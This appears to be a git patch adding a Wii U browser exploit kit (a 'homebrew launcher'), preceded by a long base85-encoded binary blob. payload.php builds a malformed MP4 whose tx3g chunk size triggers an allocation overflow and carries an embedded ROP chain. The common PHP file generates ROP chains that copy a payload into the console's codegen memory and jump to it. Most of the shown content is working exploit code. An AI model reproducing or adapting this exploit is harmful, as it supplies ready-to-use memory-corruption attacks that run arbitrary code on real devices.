z>PPzK>TmTm=*RnR(NFf>sh{e5SU=tOf__FT#P2jt=;t`r=?#4ic^k>vEY$R-8D~Zx z>iU)FdpGJQHHn;kNA2I#K^uZ!A>LwK_FFsP!#IZ!o2vKCO#<&wH!(lJ50Df0b1~?P z2fsm;Y3Od?YN{Swgu2i;)c{_DIVzbKenV0Y9;g*#+!Szy=4XDNqR;|c`%AWVAk$tS zUEdW=(Dlu}c)UHlth0T6b5BISqHP$_9LA8g#_q(j_O`^*WCpS%9u0La?q0Vp+6kzC$+CENS8G$K?dE8PWLZ4c zVNi7027W1;Fo4amZ$)kJzlD4V~WPkSbJwI(E}j>ThiUx8ErFB z0NoUe#v`VbYt}S2E)n84-_+cEdn^%dZE0WJ*?xOhw37f@5$bLWw?YYtSli8Av@8^h zM2xqY1+F?8&cLv0axvAj-9St>V06xwspmhr9eE&djlI{14h*La5O5hw2oaPHKf zUWB}5Gf9Y>;u_*(^qr|Y0$$(K`eRjhh`gtzZvz#f)>5GDMlHdtr>J|b5p@c#7cvaE z>~8`Vk?YnuBynuQH5v`$fp=PGHfr$F!f}zeCi_w(vrMVfubin3ZzLgGwJF$Ui?$1G&LO+dj%>z#g7d!| zIPSNYIHn7roo~{4K@lf#m!WQQCFfKQo@2t_%AqJ zv+z7W_K#zK7jO=H%pRb;2w<6-1=`g)HI#bX4Oovdr0YBvj}_~w$8WXJ7B!q9;1A#) zI%3c;o?}@b_RJF`4LpmL@H7>=^q{R|#_`>CARpuKy@W0piyBX6><(-1VWUa#@Op+w z^Nb;WwqzKYHmdw|+HvJ*{z*HpN_d!AFYsh&hcV|^c0TardV-(VG7!q&37IxAtu~y0 z(!M4QII%9|_Mj*H#;v{uzvqK~yq0{Zb+MjHfG=kGvF>*k2D3Gzg=`x~^LM6pDO`t9 z(kaT+1=Jt?w-a?+Nj;}DrX{RH=DY%O#*7$2tYw(W)1^Ee))H0kuW+z^So;Us)yCczy1-*q{SnaUPNU9Uhr4O>5%$$q^RDFD;OaE&3}YO)6Ec2_ z@B3VbP=G7e?ls`JKLj7n=TnYnk-ML%1-@t?1-`a#7280+4ZPrkgnwGt<+SE4W*F`# z@kJCN$newM{9Ok$ zF6->UnNyrrARE3#rTnjCYC~0h`bW?~HRqwIqa#d#f(9*cEXA&Bp)YHeR1UE3MGeN9}1)6vcgA@ic~b<{~;Mk)|(Ywy0fRYvIF zj%a!vB2I*q@;XG`^RoHD%B3qaNtHjkF4P@Q1fro1q%pu4$(0Rk1ylfjI|}!QIwOMWz8ZxTGs4~M3%&3NGmYovSxoYZuCroCF>)L5s=@4 zZm#wK5W2+shBl!-v^c?AhUFR5oB*1=CL~g3Q)GjpZDdCCIy>T=pdc*}I&Fz1z+g#x zcRV8UDNX`}&g8#hAF_FcV8iPFE4a|SuGX$ZXCkzg<|SYkG!N-pi2ky_LXdMZaj}sX zAV;8Ss*Q!iY+q*5%_oiV(~xWAU2CIb9@c|s$oeaqj@Fe{4{xU7JWV9qIhimva?*4; zH$yfC=H}!UyUEk=Y({U}*)^Hmb7d^noam0k+R03TWq69%*^Dy?TQE)guk(xRo0p<~ z5KbVwZ)tCA?dghz{|xsKc{3^%qCjDK2O MufW(G5LNMbV4 zN%w_$Lt+=uZ#MzlVvUd#ll2e!*>CL@ElQ}^)wS;GT3f6b!eX~5w2KuhE|j;wbKiS2 zFCnpizHjsKc=w)j?z!ild(OS*oHrhM)(--OuPT0;RjJTisv*kyvPQC+lQpuVP(Qu> zAUU=lqa5{;?1cJPxe0~7AZP+aqz=wcs0SA%dO*_y8l{l()tu}R9-lnCX(aj4rV*7c z-CIXesVAVH4umL6P4tYI?S*Prj~)MBAoO#^qj|;yz2#b850OU;{5sG}SEB9kXzF`` z-n&Q8&M|0+Y4S`O9qoM3oHl8kXj7o~(!GGYJX#&vQYqR6fS(BTW-%Yxqxm)P&qmt~ znRtF#CD&e+=Ik~5UaPN?1F&)pYq(Oq{cfy*xUH*gcW2h11;|+2H=W=~)>soZcrh&d zg(+Y^odknizmTVZc`k+>_S#`K-T&66du~tEy&*T?`TOkSAveSJ+hG>Z{`w4-=7~qcs@0tep z0dUT#aYYW`SjH)M7JVAHJPU_*jxt;{hv#KEd2Ys~3T-+pBp1sFyqEQ%1SB$P3V4h% zC<#5ONn;%to1c99TtXS7Y-JSqaYK(hhdC~f+vzxy0PhWaftcDtU~$3o;y8B=pF0tNP-^ zR|mWczWR)IZF2Xy#8<~gKatc=S~|!{>d-ml;IXVPOI9Hd`V-|S7=Rq(lWfXmvnjV> zQ$;so?)(Whg*~%3?cWJ27kyb~VcWb|GTH zl6M_XBu7prYV|+7&M@F!{o4WA&6e9ED$w3BPnFUu3^5+A4Ht+OzOW zz^!?JXPwz~_?@&4F)#Blb(U|_)kQiGK4sGb^oe`t3{BEij%SyErS)ZBzoiqb`Rm4- z|M1o{_$m|sj7P&c!+Pv3dK5m&I^1IH!7Q)22jlE#yl%F2+|32N4(x|p@E$IDj@N7X z`_%KDf7zUG)in6WO#Ekg-IksVIj-4n`5en|0RC>X^HR2RwhM7SYOn*GgA?q1!Wmlh zBJk6lg@=K&@8hp|UF-wa8Eoz&-v_c1$hOciqrD(KGk zKi*yAe>}Olo_RSdOGpC!3AQo5r`Qk0d*V1JkLg~v@^O>?G}BD*PuvG-|2!~1QO!2B zdz^f`$jxg=9)b>s*%$TOc^!bSS*()-{Ug=dCwr^MFV{i?TgCcqw98G}a;9Z|-d#G| zVzwv1ws=*u5-K`x>5JFkCqrjgKm7aZgel``*leD8hB$eRlWnkyaOS@QAD{|St8)_^ zld_JJ$Ic~q9Qft)I>58s;)y%lI+vV$)?0k}Ua{^ui?6zb2&GyG|0ZU0uO2~b+@pWojJzuv9S(4n8cEPmOc01g>-%+}D9Co(9(joO^0q5zYuno*L)g2wcI` zI6gBa*Cbq%u}ALBz@=k3W!QZ``uV))*egN9<5E>3E}eJ|0mk+UJ~I0SpHUXA8M9pk z2W^ge$7~~3N}pR&g>_bmb4yR3SJ!AM$tBK|Z<+BO(zC!Kv#1=BJg!DAF>pLOoZ z#AjcD`nNV7T?P+6J1w6s8^GC>n4Q3Rkymz~IR8r7Uir>adfktKH_opQ-|z&=%oy=Z zH{)ydk5<~~-Z1ID&-WPLVeA*ssmKGE&eZ!UKDQPRTxaO4P|8d89_P5V6z5)z5+rXw zV72=H{z@B?IMyv?82TS61Bf|U{veI24<33%-Shk-z`K|Z_&0#BQR4#t&=mNmfM27w z0Y69zc;sMA%ACXM-wT=@>g|F@-xNGLD?PMVZ5R0S>ce5k5MdeeOc`zhexKSY@TaH1 zf4*`J9a38b{%!SzF$&r<(#Y>;CF(Tqwj!J2b>GG=oe_mq&)Nw0ly6W;{G`jk3UjL$jhFhV$kO+W60GHNN4(V=tp@>*#W@YQJFgR%Si#-zR5 zc1iBOXQc=GHcF$odvdm2D>=7)L#o)eL<(cq-1K|-@EPg%&HjGRC!eg6eXH@_2fNL|`%IOrzZ)zWdIIgU zki~1$k;l+Q=A1Im;t9HB`@gS9~cd(uV!(4kH2jGs4xDVK$S?A_nmv2i^tiO;pV?Oux6t$t1sZB5(m zqxkk9CAJ--dp4z{(w>xYmu}o*>?g~sM&aYVSuC@J7&xZlaT^#p^-3B`hn|W_2V>7>9p0Szt&G_m4OHhxJmuR|-`c>YN zKurVe==)3HvrQrS3yZP8OOEUEVvXqf56QW12VJ$U<7VHwhMWD#?+kjq50HQ3@gE`P z{h*uo3GdEi&rXhgoynd)@;*!X8=rabSQ>Zh^(eUsq!b=+^P z!%_2Bjzbl>34iCy$DpEl8!+$g7bf)NpRiF$(9!>OfIK3&EzLLuGj34%k{IUIHF9 zHw!leoQv&T#IzG}PXU*Xmzb|@+{?ga^1X>TuBX}Zy@em4FKQn=p7|JlW#qeN+lBKo z9iOBM&01K%s9#h+d&Z0%5ECJ`;ryL#na7ypotz7zpU&UGBVVk4B3}!Zp+hZ`>nNNb zS^mNG&1Cq^L~;-EOUz@=aZzny(tKi#upLT%`?wg#c-z>_oGcq~ET6@{O7@EOQd^A^ za-@A0xsumUGtO3#qD)gn5r{Hb@>Z zKA5f(3wj<48-PtpT4l-HSNgEW=(7(=;KTLRJ{vEQTkt%o63k=JM41L-3O3I_F1>j=S;9do;c^Vv_&0z~??iqjMsImAn4rgbZbuOVDHgjAr zf0MA_xNA6O6u!ahP_S*G>zNj}_`ZMFgKdG+Cx@4IGp`p0ad-aK0 z{ZyxxLY*A?WO>B?4p+PmITH$EUgU%l{7J=w^XGr>Q@=U8i|LV*xS)Gg?QL*sLzM7@ zMzJ@?rsDM`c(s979J~m8;&|G?YZbnAaBfooK5?um2YlL?kGkbLCwP@iAs5?pGkC>J zUL318gO_CE6*GA?XLyajH3hGCz^ewl!X~dUc-6qJe_-PkHhI<9c=g+KxKHV&)wTM` z&jEJAqw)9hRo+1Fb#cHxlYxE3g3ZXlZZcu-eqiw9u@5|9jD7c5hHh02U^{B{cVEuH zzGA_i%D`^2V8b?kPnu)6yc>9$gujb%3=4#=!gouqM<2bNVQfo)P3Cu#apy3rU(dN%lhJPC_G+||Uk;3;y~bz{avS$r{w2YZS2eWjYW1;Wyoa8^ zk0q8b5PE(M?iClyd{c?^bfm=3F;X^YvEH#CfVLQSBFAfj*77mH#r-*HAVA_5GW2_0di9^+TI#^%pkXrvG%)-TEt=9@T%g=_UQ}rjz=So?Lyr zXTJV+Ppy8U=QjOR&)xdzo=5dFJum5JwOss8lYPO&zpB_!Z(U#$~>>13rXv2(hWUXMO^Bhq{^h0e+C2xS#VupWput zDosImeb-WX{}R-N#;5}D3d~W;yzm>6V(>t%7~`gaE3`2E`xJ#1+1g*Swf*V#hRBAF zNStnL^u=PWp%v||8ydSh;*kx2tZ0u!np(~7%2jI{Bk`KZ9nnyvF&>OZ2#{s5)(+9Q zu`SYq5se`XX{qmwuV`(FFHfW)%VLpW`_j(!>m%)e)+}2Q>+EQ52)5iBNt3LIMcWLD z4%@&lMdAjqG5W2D4ZgA^$}$`CL9R6K8yjodqjyBw<=RMlOC%;QPqf8aLA!Q&LX23} z9)avl&3J{updr%HxgpbC*7j?Q97bQmC~(66N_j zx;lbwZ3GR5+Pbi+l`VG!W6>~%8B1Gv5#+{3EXbImzCGI79*uWF2*8$gwzo%GOcX%3 zL?f}VDdpO=_4Uhy_>H$THr^SHhnkyOm$tXw*%4_cfa-#sEum&8As%hHwS!g!qp?U> zj4Ut%DFw6{Z6WV8f8F7MaU@TBu zu#4%YrpIi4-)d?Ih9Yt>9uJ0Y`xDu(k3tp}SZ;0SH@Hka1LFSWbt|MS3Ady9mqkvr zB+?wO;9WtK=N6a>k^wCy2W1O9Q4?us@k6=)Vmx#SIu7-rtP%BL)CW%Bd1C8``ZRv? z^nJX4boYq12Y&nIlBp6n+{8*)==*%r=M^wVh1LtDnT#<%%fT=LNGoLu7>sz#hV;OE?_H?;(L z%NCLlH^nr>$LKqgclo`(XY?n^?h<)VQ_n`qL#-u8+l5+!Sx-@SUnlAmTrXr8aGBo( zEFstJ^GM>@gljY!#slxP&TQ1+rNv_+Z%yu^( zGI31jM?2f3^MKA#wnfmCL*6`&Q(0z~S3^80Vo$7dnssnqSBE-_i*q|aUDj;mb>~i0 z%DUcPn0=~GauggW%s$VxBJ44#_Z6XTay92v4xU4OdcLRwBDO^wo3$fVjrcDxQ?u|q zKlYDfe;05Ld(7^qtT15dng!bB6KW{cxErt@Wl-07E*>k^Q;pwhp)G1SgTNoeJv466 zFrH&sANI@>APqe8mCy_oy7Zu}q{s2ybub&_@V$gC8jBiFdhET{-or){;NkTQlI9sj z{A|fEJYz)p$&3@qvFuZJUZwCbvtHmy(+*+I(ae0{$@PR9UQ1svdnaVt%(U82_9^?C zG~mR#klTZv@Ef=4Cj6cc`te%wq1MHEE&x8C<;S|;T^z{Nj25$P9LwIB98kCpqok6Q zt_!F?`Y$Kywvu{YsZU8*hs=2e_HC6{iY$yr1>UatNPdzLpHovnx3;3$eGp zb9)!jcCJBaB!RY$*U0PQ^)Wr`!Q9V}(GTS?e~d4+#+hR#*piUNR)6Df1CT}hUaB(a z!0!+oy=Kj#tx6`uj-R4ukq7ii_%?-a0Uqc}{ccgB=SAoiah(#HITJMyQGcu+B&}K- zdu+)#X-h^)3q5lcg$72)Shp+->xylHb489Fu_vfW%)APA89?k5zW&49w(EbMTO#BJ z-lEOaCT4z?X)!j3>8GJXZDQt9&~a@d&!V$<2|pR0iEr!hb(6;=9OtT>ZwdaBaI1mi z9BL|D1UQZXr^4L{oO>D^*GY<}!SQdoN~gi~16Mu`ZZ~ih)8HNj4t4n{<>dN`XByl~ zzE&!W)5q^@QHA*P=@@lrd zv8xId_L)T4!Qf;O5pSQlHhCmRgdST@cmaq9Rai$zuFp)cCpp2lA(L>;d6p{ z!B=zGUoAZD%RZbh?*Fg+Yz2qVs}P;X8(TZuLlHA#TtJOA@&*Q{0cCfz#>yfI1hOr` zSo!D5?u7=SAvOd@ui~A$NHl#7Y7|E3lY~>N@glt7H9*j*)mM+dH z)~;>sSliLk)*fw%ucrtnIV&1PcC@0=7Y;9rMUhru#ube@^^fGMgeB6m26jTF~AW;{*k1fzWAFG!6#KT03K5 zkxy|FAao}G1^bZ6D+C)>|6jm`7IZXs#M|S+b+jN3yPyR~--7h#{pEt3lZi`>yZ|`@ z%}{MD9A^6plWrktjGuvABkOt_9rLgrL_^kJ-b}Qvwt9Fo4d-bh*`AOIV=^jW)(R!_ihUQ(zgMB6c?I48j&n)Bel+;>O11s2_yl z$nKk3>zlheqM<**Jw)D&N`)v;*ee#3iWz^j{&A7lFF@8Djf)JpJ@Q$28Hx_;jI5lq z=s&yAU}XE&kzyvx(bg90?E1LrGR`m|=l@s{O?z)|6&7#U{epEJ9fqNK_$7U-0g0_o znw=-n<+)e*l7D~YKU~q5-~Y*NpV)r+j=Xzw|8eGbX6($l@3QY+djBN@jt8=LW$hNm ziLemEYw)?U4e!ibXMYrdcPUiban_Y2=)-y6PP`rh;%@xA36TYA)Y Ksn2)0ME?h`D&Xn5d+xdC+u5n*)xz^W1spZJd;L8J0CQsO&UAe7Lt}x;Nwo{E9>A;~_W0GGw%P#t-*ke^dLn zoG6&InPZfv?kbA)Nn}qr$ykvhhEz@+=(MIm&R+ES{I;jUn2Uw>M=F23tr?CWErpNi`zEgj^%X_tm`hV|H6v{le!-cNn$={faa2 zLN-+r9yiUf^oDiku@0=YvmVm>Ww>YEJE_=5M4$BF&SCq;S>;fbVUqZMQy&(0QbBjN z_p$C;?_=>z^~}p&Swa%%Pq2;gJ;i<~-kIa+{UbHnr+aJ0FV_MCTg3X)XqT9@5JFkB|~ReKm7Zem?`6F*leD8hS+(H6K$}XaOS@QAD{|SYjR^8 zld_KE$Iiug9Qft)I>58s;)y%lI+yHx)?0k}Ua{^ui?6zndfF-0RCE&cq@&(3eeraW$ z{^7mG``m1CR>42GFV-w#45?o588rB$aL((LgVOTJaU6R{-YIa1J*3*naeV(s?#Xe^ z*}%D`z(F3miL0AqUvADR7v&nS!5jM*-N zgEmLKW2O-+CC@FX!aA$Oxuqx1t82A{adYzAgH_opQ-*EZL%oy=Z zH{Lk0mPgvzn@0c2M;}>?tbnO;2lf{{2Rd6s!@S|XcGJrz^_u< zfFC3UJaRB5Va{Ro?*+|v^>)FdZxSAzl`h(=whR1u_2D372(b)#rVKX&zhCVX_|uc% zzgW474ymmI|F-%_=J=`sdKofZ!Ti(?L33Dr%Ahg$fAm3R4QbfZ!TuX4um7(}WgDry zmGYFM(plv|mJE2T@0ZkDIV&p%_#NP7>pLJV2hM?aGv4`qN2T+w(b@*|W4@o>vIwy9 zzN1+==s(18^b53OQXcw;fM1M$asMod#~-OAT(Y_0`-Cr^~rd+_B z-va#w$x-dbnl4ED`xj=}*q{A3-r@ng7_jI2uaipI5AcpwUMGzLz7p+wFm`|6n6!86 zPRZH#jPzjN25A&`PtMlsB>UEHNflccO2KUlrR~D+3#H}4R|e@4aUS$KKVo0C&IH~A z9&7nq;$r#>Y`07w?}0BcJ^Y#Pw+#;)aV^7y{{z0EXScZfESwrX-sSl|DJfr^osIEX zb^4jvDW5(40^@O3h+?o7b2EX@TPvh5>;`f2z z4StpI{UTn2zhud6ik46PE~09=w!vR=i?`qP>3!9*XC>bIVYfMWpQ)Dhcl{+lC`bD& zWO1kI$YtmvbxxUQafUA0{_iWI%UJ)cSIBvp(mOlC=R}g1afWA%!@Q^cB}K2f21lvC zh-DQ0GpuLdFxMW)2Dohl?gRE`*15UYc??qt4EaasS@g66dU! zvTinnt$a($SwBZVUACp@HQXQRHrQd<%zHyAoB8dMl+C1#*Jg&=C8qp0Ol6}o~x@t|wEuJ+Ew|L{<9dx@NAn%6bKSs>^ zK{xLc-ktHD9US}G<2`-keunZlJh2BcCD!%So*3VCz*+ZP{S6=Lr?LM16X5CVxZhaE z>9qUrH{$*?eCc;D8NT$pYH^Qskry&7fvq~?i(gIc6Zg~ijr)N&Gx6zp3Gf@9{pU=4 zTK%TdFFo$1+~>_Wc~s+0E!Bi+~HS=lqvUD-2Y)r2dT82N4YGLhffyO+t2buYU%nWr{|sX`6R zvBx(%-0lJF33*X#x9vqdC&RZ+sb|6O+7v&tR(pbNm(Op`wQz>!7;)q7eX!pGB|#!? zR00cfS!d}nrRGOW02>l}4xK5(3$8Zxn!IB*=D~Jjez&k{PzOAS!*>;RVGbw9>MClA zTt8ILRmHkzERK0Lk`sES^>gA&%C;NnWccdBCXyWIp`_y&*C{KPV%f}c{c`fu~?+6d}*k3d(CoQ$al=Gc{C zUBBlNlFG0S@Rm3IJ5kwpMB5(M%H5dXS9znT9~{|yBW!64aL{TuN<-GlwvE_`ixftT|sb8qeuut9Q( z@&06;SkUuW*Z^!&(ke@4zubpCMxT91!v1o7wJ(iVAJg+Zi4rW zMal=AY|&Y~OquTj-Z2FZIU;H;=9(sqdkDDVDR55$Cu(S>E*vi3VA9vcosE0S$VvY9 zRxe4l%$s?o>2ef2+AKX!z&#IKWD49Xz%@^S zJ;A)|^xq&Z75!5#&CdPj*e+RzY@4h@UXQW9iuqXICTq>sI!&AhxLymV3|G{npRo_7 zJ~%Ix6`yfNTQE~EsNtt#R@Mv7l)SQ?$g7{p&`+pNKf5I1r%mEK!QHR)ItFoHa4eXk zTyUdyiANSW{0z?Rc^=bN()B!q-27wcvo~Eo=!<%@r9U$+{FCaMtV@>37kKQ9(tFK` zI{j3qmOz~x`eb>;{tj2X4mo2AVqWBg68uTUgY)MP_o;s~vy17GlQ^JzRqbuCYeN)s z1xB$q$0pTz-tA*b#QJ|06tNyDF=Mon2);odOLWPOd=QCbTfEG zOkNzTH-ndy#w%j-YEJPQe`^w6?|@e=cm+*fLGY@DUH>SJSJ32Do5rg@rNbX6N-wRf z(@%Z@uoEtgzn8CY`+AFB1MIUY*w-xBv=r=S6ZY;020tFVr`#C(?y(fzidw+V)amcO zl!ATDf<2Lf-E6^z)A&`GWBcp$qrbvhOn)_NTYfTXj=oXseb(oE0lN+7eh_wQgD!#? zGt7Cn3wX}Efu{-hyBNnXU*IZyx8!>C(c2luwglKjem5I;4)fc+&lmU%+e58&|AS90 z`d;K~C;TPL+rUpozuxHAb1v3ow41oS5^dy{kND7DWwamTHtx0jOZ+9{ZnT%z>0`%u z4_&^WNGzW(@LUAW4R;)Q|M! z>f=3g^|yQK^b!*A6=x2If)X!?U_?^Z{{XEAy-TrSNZzEZog__83_cB+?pK+TOapv8y8*S`Wz5_E4y))$A@?vAQu7tqt7~4ul$`{%D8*SsZEY z5RIGKLM<547{HL0`p)Rm)|Tj!SQ4^067sh%>Rh`v)DCFv;-!(!j^+k`%Wa_~$E6Mw&#@hDq9ieu)F4W!cu3i!o zBNn%ZAbV3YUO_Nu2z7L>Pj#1d7?`F|`}%MT2!r$$fAF?YRBmaF%4=IYTY`lYXl)OL zdH#;B4u4x4L4$#|F05)<%N_nmIEZ1!(w1EWxv3EgGN!0+54X05qg@aJu*IG2?V%PE z1<Z=BCy~?X7oqgxU$9<^Il=Kr@sO4Y%CZK}-GN zNGK>rTV-qpWRas{u^okSJ$9i3{q`=|f15wtGLITMTUs#4($c(n^H`~oP^hgb99Y*u zwGFp;_`gNe5V|c4vuH0akz3cwK|{wL+20bB7s+eIl!bCbDAMW=GQ)L3`^+yTj-L&T z1#0tmG2P_!n9b{1Ne%u$NcKmg{=m9Fk^R~*WMP5j)^>h_%j7d4?q9Nesgxz*b~OL8 z$c~mon(bx0D~R%(0#iXUpv7dPY=I|gA`LBmDED8Chb}?KraqK4qCSlJzzIB$Zy8aa z#BZK{i1&~09?^EgkDoV;+$wdr8uUoK#x2ne!F>G}?2}mhr9eZT=P)KlD30*La3%5GN0KId|$! zEJWV2nIyzb5e@M%`u6x;Ubp9I{qeH9MBdZXvw`wZYst}eqLyIRQ`BA8i#i3@3mFDn z>Nf!k$#MG}k~lWu8jXhWz}u}e8#Q>TYE0yODn!AP8pzT1LbI1;~gPU=m;QTKJ zj{8j}j_JH;XPa~`(Amm13z~Aso5yh~%gpj>h$lttiFHn~4$kYAqt4>s+|EmvH5+-| zxf7MLuJ;#apX!rr1qTYV&vUH^drazmMW~xx!#S0W=TM)VE9!uVZ4t+2ZBNu7{_{=O zEIiMT{o~l*0h}#8X7^H75U^y;0`2mQ8cGfB2CPRJ)ODVV$BOmT;I~?6iyF=#@CR`Z zjT9)8@HM!{GJc`aa;1C*2Q`*06w4P$GYFG@}+76t2T4 zi8v+e0_uC!$yoC)-puJi9#OlW&N@o!l#(8B?I*Ah!4y_ z?5*$E)-%rP0ZBxFgezwx&L$Rd6( zRq40kcL=s#vu4p&EfZqL&(Jf-1NtO(WYt>(?8F&7@NcNQ_!I{F?|u}xHgez(OJBNpA1jOw{`fs$zuYJb5+i_1pf)R zmB4WhH5o1h9LIo@;qC;^IR%dEB%E7MHjaPGRXPQ(AGq=-!jU2#kpP1G^km;WX;8A1=i^kev#y-JNdf~ zXdKqrgEJ>Tp+Gi#i;CC2nyd|#_2?f%2j!fHqK=MS4c~t?)Db|7@hh$IXct@UY8ko* zA3i6T7ko8`{nf(bzU;&K;{5;0&z5osy#mpBw6V3bJrFV@#(C6OE3ap85>R$WYosg` zLm=DYkCcC*?9OnwvkXCeM_F_0`p}y8(4DIzBAgDjUksTSimat}`YKX^P)lp)ZOt-5 z|5ilPYY}lGq?Fep@}8H<4^}K$kxZ&;Lu>t=k*GK1Z$labjFDWWfvr3unUF2@NBxn^ zWa;9JV)g3Qj@2D4ZSCQf=voSKlC!i?WJgOIJ;C7ONEm4aW?b4>8;Te`lVI`s;35R% z>(I^A9soj@c;DP2)Q1))cuTQ7gPIdSv)6z`%4~{kP_&KAXkL3;gcB5`1wyAy;V2j^ zZtaW&MLxwzfY6!z7wkhSuMlil{eJ-$n%B|X5p9q9*U-Eu?1JVYee=_w_m>NDP9`oj z@&e=tG)+xoVKduTm~`_=WBfGa8d*1_(J>F}K{RCjgXV)i9mvV-Toc|L=H0`~;Ram@X_w&|tbQp%_;+OR8 z1|+r~X=a{8m*-yLiU0kT|8PZLe*dSpernt0+w<HU`s*dEB< znYBw8C&EGuuf^xeHoRAo=RZ9E>3P}nis!#PuX + + + + + diff --git a/www/homebrew_launcher/index.html b/www/homebrew_launcher/index.html new file mode 100644 index 0000000..62f3919 --- /dev/null +++ b/www/homebrew_launcher/index.html @@ -0,0 +1,111 @@ + + + + +
+ + + + diff --git a/www/homebrew_launcher/payload.php b/www/homebrew_launcher/payload.php new file mode 100644 index 0000000..0982941 --- /dev/null +++ b/www/homebrew_launcher/payload.php @@ -0,0 +1,143 @@ += 0x6000) + { + header("HTTP/1.1 500 Internal Server Error"); + die("The payload binary is too large.\n"); + } + + while($i+4 < 0x5000) + { + $con.= pack("N*", 0x90909090); + $i+= 4; + } + + continue; + } + else + { + $writeval = 0x58585858; + } + } + else if($i<$tx3g_ropchain_start) + { + $writeval = $ROP_POPJUMPLR_STACK12; + } + else if($i==$tx3g_ropchain_start) + { + $con.= pack("N*", $ROP_POPJUMPLR_STACK12); + $con.= pack("N*", 0x48484848);//If LR ever gets loaded from here there's no known way to recover from that automatically, this code would need manually adjusted if that ever happens. Hopefully this doesn't ever happen. + $i+= 0x8; + $con.= $ROPCHAIN; + $i+= strlen($ROPCHAIN)-4; + + if($i+4 > $first_tx3g_size-8) + { + header("HTTP/1.1 500 Internal Server Error"); + $pos = ($i+4) - ($first_tx3g_size-8); + die("The generated ROP-chain is $pos bytes too large.\n"); + } + + continue; + } + else + { + $writeval = 0x48484848; + } + + $con.= pack("N*", $writeval); +} + +$con.= pack("N*", 0x1c5);//Setup the mdia chunk. +$con.= pack("N*", 0x6d646961); + +$con.= pack("N*", 0x1);//Setup the second tx3g chunk: size+chunkid, followed by the actual chunk size in u64 form. +$con.= pack("N*", 0x74783367); +$con.= pack("N*", 0x1); +$con.= pack("N*", 0x100000000-$first_tx3g_size);//Haxx buffer alloc size passed to the memalloc code is 0x100000000. + +for($i=0; $i<0x2000; $i+=4)//Old stuff, probably should be removed(testing is required for that). +{ + $con.= pack("N*", 0x8495a6b4); +} + +header("Content-Type: video/mp4"); + +echo $con; + +?> diff --git a/www/homebrew_launcher/payload400.html b/www/homebrew_launcher/payload400.html new file mode 100644 index 0000000..670e21b --- /dev/null +++ b/www/homebrew_launcher/payload400.html @@ -0,0 +1,580 @@ + + + + + + + + diff --git a/www/homebrew_launcher/payload410.html b/www/homebrew_launcher/payload410.html new file mode 100644 index 0000000..68ff450 --- /dev/null +++ b/www/homebrew_launcher/payload410.html @@ -0,0 +1,580 @@ + + + + + + + + diff --git a/www/homebrew_launcher/payload500.html b/www/homebrew_launcher/payload500.html new file mode 100644 index 0000000..025f27d --- /dev/null +++ b/www/homebrew_launcher/payload500.html @@ -0,0 +1,580 @@ + + + + + + + + diff --git a/www/homebrew_launcher/payload532.html b/www/homebrew_launcher/payload532.html new file mode 100644 index 0000000..144b137 --- /dev/null +++ b/www/homebrew_launcher/payload532.html @@ -0,0 +1,649 @@ + \ No newline at end of file diff --git a/www/homebrew_launcher/wiiu_browserhax_common.php b/www/homebrew_launcher/wiiu_browserhax_common.php new file mode 100644 index 0000000..302cb5d --- /dev/null +++ b/www/homebrew_launcher/wiiu_browserhax_common.php @@ -0,0 +1,440 @@ +); + + ropchain_appendu32($r28);//r28 + ropchain_appendu32(0x0);//r29 + ropchain_appendu32(0x0);//r30 + ropchain_appendu32(0x0);//r31 + ropchain_appendu32(0x0); + + ropgen_OSFatal($outstr); +} + +function ropgen_switchto_core1() +{ + global $ROP_OSGetCurrentThread, $ROP_OSSetThreadAffinity, $ROP_OSYieldThread, $ROP_CALLR28_POP_R28_TO_R31; + + ropgen_callfunc($ROP_OSGetCurrentThread, 0x0, 0x2, 0x0, 0x0, $ROP_OSSetThreadAffinity);//Set r3 to current OSThread* and setup r31 + the r28 value used by the below. + + ropchain_appendu32($ROP_CALLR28_POP_R28_TO_R31);//ROP_OSSetThreadAffinity(, 0x2); + + ropchain_appendu32($ROP_OSYieldThread);//r28 + ropchain_appendu32(0x0);//r29 + ropchain_appendu32(0x0);//r30 + ropchain_appendu32(0x0);//r31 + ropchain_appendu32(0x0); + + ropchain_appendu32($ROP_CALLR28_POP_R28_TO_R31); + + ropchain_appendu32(0x0);//r28 + ropchain_appendu32(0x0);//r29 + ropchain_appendu32(0x0);//r30 + ropchain_appendu32(0x0);//r31 + ropchain_appendu32(0x0); +} + +function generateropchain_type1() +{ + global $ROP_OSFatal, $ROP_Exit, $ROP_OSDynLoad_Acquire, $ROP_OSDynLoad_FindExport, $ROP_os_snprintf, $payload_srcaddr, $ROPHEAP, $ROPCHAIN; + + $payload_size = 0x20000;//Doesn't really matter if the actual payload data size in memory is smaller than this or not. + $codegen_addr = 0x01800000; + //$payload_srcaddr must be defined by the code including this .php. + + //ropgen_colorfill(0x1, 0xff, 0xff, 0x0, 0xff);//Color-fill the gamepad screen with yellow. + + //ropchain_appendu32(0x80808080);//Trigger a crash. + + //ropgen_OSFatal($codepayload_srcaddr);//OSFatal(); + + ropgen_switchto_core1();//When running under internetbrowser, only core1 is allowed to use codegen. Switch to core1 just in case this thread isn't on core1(with some exploit(s) it may already be one core1, but do this anyway). OSSetThreadAffinity() currently returns an error for this, hence this codebase is only usable when this ROP is already running on core1. + + ropgen_copycodebin_to_codegen($codegen_addr, $payload_srcaddr, $payload_size); + + //ropgen_colorfill(0x1, 0xff, 0xff, 0xff, 0xff);//Color-fill the gamepad screen with white. + + $regs = array(); + $regs[24 - 24] = $ROP_OSFatal;//r24 + $regs[25 - 24] = $ROP_Exit;//r25 + $regs[26 - 24] = $ROP_OSDynLoad_Acquire;//r26 + $regs[27 - 24] = $ROP_OSDynLoad_FindExport;//r27 + $regs[28 - 24] = $ROP_os_snprintf;//r28 + $regs[29 - 24] = $payload_srcaddr;//r29 + $regs[30 - 24] = 0x8;//r30 The payload can do this at entry to determine the start address of the code-loading ROP-chain: r1+= r30. r1+4 after that is where the jump-addr should be loaded from. The above r29 is a ptr to the input data used for payload loading. + $regs[31 - 24] = $ROPHEAP;//r31 + + ropgen_pop_r24_to_r31($regs);//Setup r24..r31 at the time of payload entry. Basically a "paramblk" in the form of registers, since this is the only available way to do this with the ROP-gadgets currently used by this codebase. + + ropchain_appendu32($codegen_addr);//Jump to the codegen area where the payload was written. + + //Setup the code-loading ROP-chain which can be used by the loader-payload, since the above one isn't usable after execution due to being corrupted. + ropchain_appendu32(0x0); + ropgen_copycodebin_to_codegen($codegen_addr, $payload_srcaddr, $payload_size); + ropgen_pop_r24_to_r31($regs); + ropchain_appendu32($codegen_addr); +} + +?> diff --git a/www/homebrew_launcher/wiiuhaxx_common_cfg.php b/www/homebrew_launcher/wiiuhaxx_common_cfg.php new file mode 100644 index 